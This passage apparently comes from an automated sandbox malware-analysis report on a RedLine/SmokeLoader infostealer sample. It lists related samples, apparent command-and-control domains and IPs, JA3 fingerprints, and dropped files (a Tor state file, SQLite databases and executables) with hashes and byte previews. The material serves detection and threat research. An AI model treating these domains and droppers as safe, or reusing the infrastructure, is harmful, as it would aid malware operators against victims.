	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	liuliuoumumy.org/
	Ma0hVedIX4.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	liuliuoumumy.org/
	Bznx8G6dMz.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	liuliuoumumy.org/
	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	liuliuoumumy.org/
	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	liuliuoumumy.org/
	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	liuliuoumumy.org/
	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	liuliuoumumy.org/
	qG2cUr0x4A.exe	Get hash	malicious	BitCoin Miner, RedLine, SmokeLoader	Browse	liuliuoumumy.org/
	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	liuliuoumumy.org/
	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	liuliuoumumy.org/
	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	liuliuoumumy.org/
	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	liuliuoumumy.org/
	file.exe	Get hash	malicious	BitCoin Miner, RedLine, SmokeLoader	Browse	liuliuoumumy.org/
	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	liuliuoumumy.org/
	file.exe	Get hash	malicious	BitCoin Miner, RedLine, SmokeLoader, Socks5Systemz	Browse	liuliuoumumy.org/
	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	lightseinsteniki.org/
	file.exe	Get hash	malicious	BitCoin Miner, RedLine, SmokeLoader	Browse	liuliuoumumy.org/
	file.exe	Get hash	malicious	BitCoin Miner, RedLine, SmokeLoader	Browse	liuliuoumumy.org/
	rgTRPlTmIt.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	liuliuoumumy.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
parkingpage.namecheap.com	Ma0hVedIX4.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	91.195.240.19
	Jooikb3Gb3fksCH.exe	Get hash	malicious	FormBook	Browse	91.195.240.19
	recibo_vencimentopdf.exe	Get hash	malicious	FormBook, GuLoader	Browse	91.195.240.19
	Altogether.exe	Get hash	malicious	FormBook, GuLoader	Browse	91.195.240.19
	Plyshaar.exe	Get hash	malicious	FormBook, GuLoader	Browse	91.195.240.19
	file.exe	Get hash	malicious	BitCoin Miner, RedLine, SmokeLoader	Browse	91.195.240.19
	Advance_payment_against_import_BOE_No._5801890.exe	Get hash	malicious	FormBook	Browse	91.195.240.19
	Reverse_Invoice.exe	Get hash	malicious	FormBook	Browse	91.195.240.19
	confirm_the_payment.exe	Get hash	malicious	FormBook	Browse	91.195.240.19
	DHL_Receipt_AWB811471018477.exe	Get hash	malicious	FormBook	Browse	91.195.240.19
	transfer_20231128.exe	Get hash	malicious	FormBook	Browse	91.195.240.19
	8319.exe	Get hash	malicious	FormBook	Browse	91.195.240.19
	PURCHASE_INQUIRY.exe	Get hash	malicious	FormBook	Browse	91.195.240.19
	DHL_#AWB811471048477.exe	Get hash	malicious	FormBook	Browse	91.195.240.19
	offer_R_9513_REVISED5676565.exe	Get hash	malicious	FormBook	Browse	91.195.240.19
	XwAnEjTQX4.exe	Get hash	malicious	FormBook	Browse	91.195.240.19
	Dialyseapparatet.exe	Get hash	malicious	FormBook, GuLoader	Browse	91.195.240.19
	27112023110107pdf.exe	Get hash	malicious	FormBook, GuLoader	Browse	91.195.240.19
	Quotation.xls	Get hash	malicious	FormBook	Browse	91.195.240.19
	e-dekont_html.exe	Get hash	malicious	FormBook	Browse	91.195.240.19
lightseinsteniki.org	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	34.143.166.163
	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	34.143.166.163
	Ma0hVedIX4.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	34.143.166.163
	Bznx8G6dMz.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	34.143.166.163
	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	34.143.166.163
	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	34.143.166.163
	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	34.143.166.163
	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	34.143.166.163
	qG2cUr0x4A.exe	Get hash	malicious	BitCoin Miner, RedLine, SmokeLoader	Browse	34.143.166.163
	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	34.143.166.163
	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	34.143.166.163
	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	34.143.166.163
	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	34.143.166.163
	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	34.143.166.163
	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	34.143.166.163
	file.exe	Get hash	malicious	BitCoin Miner, RedLine, SmokeLoader	Browse	34.143.166.163
	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	34.143.166.163
	file.exe	Get hash	malicious	BitCoin Miner, RedLine, SmokeLoader, Socks5Systemz	Browse	34.143.166.163
	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	34.143.166.163
	file.exe	Get hash	malicious	BitCoin Miner, RedLine, SmokeLoader	Browse	34.143.166.163

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
FASTWEBIT	JlsamXyn4T.elf	Get hash	malicious	Mirai	Browse	2.224.96.152
	gJxUBR0ghC.elf	Get hash	malicious	Mirai	Browse	2.231.108.50
	jdQ5Lxv5Nd.elf	Get hash	malicious	Mirai	Browse	93.52.64.251
	factura.doc	Get hash	malicious	Unknown	Browse	185.36.74.48
	zf0ecmAOZo.elf	Get hash	malicious	Mirai	Browse	2.239.177.97
	m4Fl3nW1Yl.elf	Get hash	malicious	Mirai	Browse	93.63.222.97
	syms.arm.elf	Get hash	malicious	Mirai	Browse	2.235.31.116
	file.exe	Get hash	malicious	Unknown	Browse	2.233.91.176
	file.exe	Get hash	malicious	Unknown	Browse	2.233.91.176
	WU3D24p3h0.elf	Get hash	malicious	Mirai	Browse	2.235.31.116
	m1vvw0vLkD.elf	Get hash	malicious	Mirai	Browse	92.223.234.6
	0Ce39CMAxk.elf	Get hash	malicious	Mirai	Browse	93.54.10.43
	3VNmL4P4sG.elf	Get hash	malicious	Mirai	Browse	2.236.57.139
	cool.x86.elf	Get hash	malicious	Unknown	Browse	93.51.114.187
	sora.arm.elf	Get hash	malicious	Mirai	Browse	2.237.163.243
	mods.arm7.elf	Get hash	malicious	Mirai	Browse	85.18.200.244
	Pa0exc41sw.elf	Get hash	malicious	Mirai	Browse	93.43.183.116
	B3dZfZRKxF.elf	Get hash	malicious	Mirai	Browse	2.226.67.205
	rdOFF4zYjr.elf	Get hash	malicious	Mirai	Browse	93.59.70.103
	prVqJIASVB.elf	Get hash	malicious	Mirai	Browse	89.97.252.98
ATGS-MMD-ASUS	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	34.143.166.163
	piHWNOmnbm.elf	Get hash	malicious	Mirai	Browse	48.209.209.121
	jdQ5Lxv5Nd.elf	Get hash	malicious	Mirai	Browse	57.146.13.112
	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	34.143.166.163
	Ma0hVedIX4.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	34.143.166.163
	Bznx8G6dMz.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	34.143.166.163
	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	34.143.166.163
	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	34.143.166.163
	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	34.143.166.163
	https://download.anydesk.com/AnyDesk.exe	Get hash	malicious	Unknown	Browse	57.128.101.75
	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	34.143.166.163
	Scan_20231201_085902_pdf_.exe	Get hash	malicious	AgentTesla	Browse	34.154.74.85
	qG2cUr0x4A.exe	Get hash	malicious	BitCoin Miner, RedLine, SmokeLoader	Browse	34.143.166.163
	HURNER_Schweisstechni_L.L.C.exe	Get hash	malicious	FormBook, GuLoader	Browse	34.149.24.8
	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	34.143.166.163
	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	34.143.166.163
	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	34.143.166.163
	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	34.143.166.163
	m2jngcTeBu.elf	Get hash	malicious	Mirai	Browse	51.102.198.170
	gCAF578aAw.elf	Get hash	malicious	Unknown	Browse	51.76.3.249

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
523e76adb7aac8f6a8b2bf1f35d85d1f	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	46.254.37.204 208.91.197.132
	Ma0hVedIX4.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	46.254.37.204 208.91.197.132
	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	46.254.37.204 208.91.197.132
	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	46.254.37.204 208.91.197.132
83d60721ecc423892660e275acc4dffd	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	93.55.235.232 86.59.21.38 209.58.180.90 147.135.65.134
	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	93.55.235.232 86.59.21.38 209.58.180.90 147.135.65.134
	Ma0hVedIX4.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	93.55.235.232 86.59.21.38 209.58.180.90 147.135.65.134
	Bznx8G6dMz.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	93.55.235.232 86.59.21.38 209.58.180.90 147.135.65.134
	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	93.55.235.232 86.59.21.38 209.58.180.90 147.135.65.134
	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	93.55.235.232 86.59.21.38 209.58.180.90 147.135.65.134
	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	93.55.235.232 86.59.21.38 209.58.180.90 147.135.65.134
	qG2cUr0x4A.exe	Get hash	malicious	BitCoin Miner, RedLine, SmokeLoader	Browse	93.55.235.232 86.59.21.38 209.58.180.90 147.135.65.134
	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	93.55.235.232 86.59.21.38 209.58.180.90 147.135.65.134
	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	93.55.235.232 86.59.21.38 209.58.180.90 147.135.65.134
	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	93.55.235.232 86.59.21.38 209.58.180.90 147.135.65.134
	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	93.55.235.232 86.59.21.38 209.58.180.90 147.135.65.134
	klWGq3yDcQ.exe	Get hash	malicious	Unknown	Browse	93.55.235.232 86.59.21.38 209.58.180.90 147.135.65.134
	file.exe	Get hash	malicious	Unknown	Browse	93.55.235.232 86.59.21.38 209.58.180.90 147.135.65.134
	file.exe	Get hash	malicious	Unknown	Browse	93.55.235.232 86.59.21.38 209.58.180.90 147.135.65.134
	g5oo6DQ4pd.exe	Get hash	malicious	Unknown	Browse	93.55.235.232 86.59.21.38 209.58.180.90 147.135.65.134
	index	Get hash	malicious	Unknown	Browse	93.55.235.232 86.59.21.38 209.58.180.90 147.135.65.134
	malware.exe	Get hash	malicious	Unknown	Browse	93.55.235.232 86.59.21.38 209.58.180.90 147.135.65.134
	reverseshell.exe	Get hash	malicious	Unknown	Browse	93.55.235.232 86.59.21.38 209.58.180.90 147.135.65.134
	4hy2wIO57k.exe	Get hash	malicious	Unknown	Browse	93.55.235.232 86.59.21.38 209.58.180.90 147.135.65.134

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\Drivers\csrss.exe	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse
	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse
	Ma0hVedIX4.exe	Get hash	malicious	RedLine, SmokeLoader	Browse
	Bznx8G6dMz.exe	Get hash	malicious	RedLine, SmokeLoader	Browse
	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse
	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse
C:\ProgramData\freebl3.dll	XM1BORnoIr.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	SecuriteInfo.com.Win32.PWSX-gen.8525.21336.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	SecuriteInfo.com.Win32.BotX-gen.7416.17466.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	5gOf0WZEf6.exe	Get hash	malicious	Stealc, Vidar	Browse
	OsS4EVeytc.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	SecuriteInfo.com.Win32.Evo-gen.3599.19882.exe	Get hash	malicious	Stealc, Vidar	Browse
	SecuriteInfo.com.Trojan-Ransom.StopCrypt.14278.25208.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	S6qviKor4i.exe	Get hash	malicious	Stealc, Vidar	Browse
	iZRfjWHn4X.exe	Get hash	malicious	Stealc, Vidar	Browse
	KW84M1AmWe.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	Pql7EbX8R3.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse

Created / dropped Files

(copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\6071.exe
File Type:	ASCII text, with very long lines (369), with CRLF line terminators
Category:	dropped
Size (bytes):	3932
Entropy (8bit):	5.315176721675114
Encrypted:	false
SSDEEP:	48:cpF1esD4qx5dZu/VFqeZYv9fImtKZO4B7aAtbd+p1Ah0+qk/:2F17x/ZEVFqLFfImt94B7nOp+0+qk/
MD5:	84D8DF47786387A001398196422B08A3
SHA1:	2F1623337D5E32C67889452B687200B06ECC60D9
SHA-256:	505FFF87DC55F3B8FCA33EAB2111AFEB94DA319B2AD289102E1962B79CCB884A
SHA-512:	5E3AF36A73C5B4580BC7A364958D5D876D4F1F23BCFD1AAABBC8B441C4A92DA8578702452C87A584C16EF1A9AF364407887F244F6F9F7C75E6C565A36DD2E68F
Malicious:	false
Preview:	# Tor state file last generated on 2023-12-02 20:01:05 local time..# Other times below are in UTC..# You do not need to edit this file.....CircuitBuildTimeBin 1075 1..CircuitBuildTimeBin 1325 2..CircuitBuildTimeBin 1375 1..CircuitBuildTimeBin 1475 1..CircuitBuildTimeBin 4375 1..CircuitBuildTimeBin 10075 1..CircuitBuildTimeBin 11125 1..CircuitBuildTimeBin 11375 1..CircuitBuildTimeBin 12325 1..CircuitBuildTimeBin 16375 1..CircuitBuildTimeBin 16675 1..Dormant 0..Guard in=default rsa_id=CF01E4703E57B2859A90F926887218FD12FF9C18 nickname=Azathoth sampled_on=2023-12-01T22:49:50 sampled_idx=0 sampled_by=0.4.4.9 listed=1..Guard in=default rsa_id=CDD296D8C38EAA6A94242FCF03293E0D6EC4A0D0 nickname=zighimilan sampled_on=2023-11-22T17:48:17 sampled_idx=1 sampled_by=0.4.4.9 listed=1..Guard in=default rsa_id=4837A6DFFC8E3681D70AD9E8D057C029093DA2F7 nickname=KherNl sampled_on=2023-11-22T23:16:45 sampled_idx=2 sampled_by=0.4.4.9 listed=1 confirmed_on=2023-11-28T00:14:51 confirmed_idx=0 pb_use_attempts

C:\ProgramData\AFHDGDGIIDGCFIDHDHDHCBAKJE

Download File

Process:	C:\Users\user\AppData\Local\Temp\38204\21808\Adaptation.pif
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CBGHCAKK

Download File

Process:	C:\Users\user\AppData\Local\Temp\38204\21808\Adaptation.pif
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1215420383712111
Encrypted:	false
SSDEEP:	384:r2qOB1nxCkvSAELyKOMq+8HKkjucswRv8p3:aq+n0E9ELyKOMq+8HKkjuczRv89
MD5:	9A809AD8B1FDDA60760BB6253358A1DB
SHA1:	D7BBC6B5EF1ACF8875B36DEA141C9911BADF9F66
SHA-256:	95756B4CE2E462117AF93FE5E35AD0810993D31CC6666B399BEE3B336A63219A
SHA-512:	2680CEAA75837E374C4FB28B7A0CD1F699F2DAAE7BFB895A57FDB8D9727A83EF821F2B75B91CB53E00B75468F37DC3009582FC54F5D07B2B62F3026B0185FF73
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DGDBFBFC

Download File

Process:	C:\Users\user\AppData\Local\Temp\38204\21808\Adaptation.pif
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.137181696973627
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cR/k4:MnlyfnGtxnfVuSVumEHRM4
MD5:	2D903A087A0C793BDB82F6426B1E8EFB
SHA1:	E7872CC094C598B104DA25AC6C8BEB82DAB3F08F
SHA-256:	AD67ADF2D572EF49DC95FD1A879F3AD3E0F4103DD563E713C466A1F02D57ED9A
SHA-512:	90080A361F04158C4E1CCBB3DE653FFF742C29A49523B6143B0047930FC34DC0F1D043D3C1B2B759933E1685A4CB382FD9E41B7ACDD362A2217C3810AEF95E65
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Drivers\csrss.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\6071.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2037760
Entropy (8bit):	7.895271771869351
Encrypted:	false
SSDEEP:	49152:JpOMJqAtfj8YFWZUQUqxbhS+oWOKl9BoKzLPGz+fATq:BJqaj8S8zUqx0xW1KKzLP8w
MD5:	57C833BFD5042E34BEC23DFD711CD151
SHA1:	6BCD1915173D57D369E209943BE31EEBEBDD535A
SHA-256:	9D3C881C29156B8FD82CED7C7726C4C65D4E741533C9F886112F440698B1469D
SHA-512:	3C14531CD81AC2276CAC72DA573CB5F452C53B96175ACCA025A8E30251C487FCD382A8BC25A5241E6700832DBB760313BF9E51FFA0FCD480D5DDC6662CBC02E1
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 70%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: Ma0hVedIX4.exe, Detection: malicious, Browse Filename: Bznx8G6dMz.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................................................................................................................PE..L...#.\|d.................V....:.....J........p....@...........................W.............................................pY..<.....V.............................................................PG..@............................................text....T.......V.................. ..`.data....8..p.......Z..............@....rsrc.........V......t..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EBGDAAKJJDAAKFHJKJKF

Download File

Process:	C:\Users\user\AppData\Local\Temp\38204\21808\Adaptation.pif
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HJJEHJJKJEGHJJKEBFBG

Download File

Process:	C:\Users\user\AppData\Local\Temp\38204\21808\Adaptation.pif
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JKJEHJKJEBGHJJKEBGIECAAFIJ

Download File

Process:	C:\Users\user\AppData\Local\Temp\38204\21808\Adaptation.pif
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03786218306281921
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWB2IGKhNbxrO3Dpvu2HI:58r54w0VW3xWB2ohFQ3Y2
MD5:	4BB4A37B8E93E9B0F5D3DF275799D45E
SHA1:	E27DF7CC49B0D145140C119A99C1BBAA9ECCE8F7
SHA-256:	89BC0F21671C244C40A9EA42893B508858AD6E1E26AC16F2BD507C3E8CBB3CF7
SHA-512:	F2FC9067EF11DC3B719507B97C76A19B9E976D143A2FD11474B8D2A2848A706AFCA316A95FEEBA644099497A95E1C426CDAB923D5A70619018E1543FEF3182DB
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JKKECBGIIIEBGCBGIDHDGCAKJE

Download File

Process:	C:\Users\user\AppData\Local\Temp\38204\21808\Adaptation.pif
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KEBKJDBAAKJDGCBFHCFCGIEBFB

Download File

Process:	C:\Users\user\AppData\Local\Temp\38204\21808\Adaptation.pif
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 5, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.848598812124929
Encrypted:	false
SSDEEP:	24:TLVF1kwNbXYFpFNYcw+6UwcQVXH5fBODYfOg1ZAJFF0DiUhQ5de5SjhXE1:ThFawNLopFgU10XJBODqzqFF0DYde5P
MD5:	9664DAA86F8917816B588C715D97BE07
SHA1:	FAD9771763CD861ED8F3A57004C4B371422B7761
SHA-256:	8FED359D88F0588829BA60D236269B2528742F7F66DF3ACF22B32B8F883FE785
SHA-512:	E551D5CC3D5709EE00F85BB92A25DDC96112A4357DFEA3D859559D47DB30FEBD2FD36BDFA2BEC6DCA63D3E233996E9FCD2237F92CEE5B32BA8D7F2E1913B2DA9
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\38204\21808\Adaptation.pif
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: XM1BORnoIr.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Win32.PWSX-gen.8525.21336.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Win32.BotX-gen.7416.17466.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 5gOf0WZEf6.exe, Detection: malicious, Browse Filename: OsS4EVeytc.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Win32.Evo-gen.3599.19882.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Trojan-Ransom.StopCrypt.14278.25208.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: S6qviKor4i.exe, Detection: malicious, Browse Filename: iZRfjWHn4X.exe, Detection: malicious, Browse Filename: KW84M1AmWe.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: Pql7EbX8R3.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\38204\21808\Adaptation.pif
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
